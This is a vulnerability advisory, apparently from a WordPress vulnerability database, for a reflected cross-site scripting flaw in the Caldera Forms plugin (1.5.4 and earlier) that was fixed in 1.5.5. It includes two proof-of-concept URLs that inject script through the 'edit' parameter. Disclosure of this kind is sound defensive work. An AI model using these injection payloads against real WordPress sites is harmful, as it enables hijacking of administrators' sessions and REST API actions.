Caldera Forms <= 1.5.4 - Authenticated Cross-Site Scripting (XSS)

Description

Version 1.5.4 and earlier of Caldera Forms is vulnerable to a reflected cross-site scripting vulnerability in the “edit” parameter, which is not properly escaped before being printed in an HTML attribute. An attacker can use this to craft URLs that, when clicked, result in malicious JavaScript being executed. Because Caldera Forms uses ‘wp_rest’ nonces to access the WordPress REST API – a common practice among plugin developers – this Javascript may include anything the user is capable of doing in the REST API.

Proof of Concept

[site_url]/wp-admin/admin.php?page=caldera-forms&edit="><script>alert(String.fromCharCode(88%2C83%2C83))<%2Fscript> (1.5.3-4)

[site_url]/wp-admin/admin.php?page=caldera-forms&edit=CF598a16cde8524%3Cimg+url%3D%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E [<1.5.3]

Affects Plugin

caldera-forms

fixed in version 1.5.5

References

URL	https://wrbrand.com/2017/08/08/authenticated-xss-in-caldera-forms-1-5-4/
URL	https://calderaforms.com/updates/caldera-forms-1-5-5/

Classification

Type	XSS
OWASP Top 10	A3: Cross-Site Scripting (XSS)
CWE	CWE-79

Miscellaneous

Submitter	Will Brand
Submitter Website	https://wrbrand.com/
Submitter Twitter	wrbrand
Views	50
Verified	No
WPVDB ID	8940

Timeline

Publicly Published	2017-09-08 (about 1 year ago)
Added	2017-10-30 (11 months ago)
Last Updated	2017-10-30 (11 months ago)

Copyright & License

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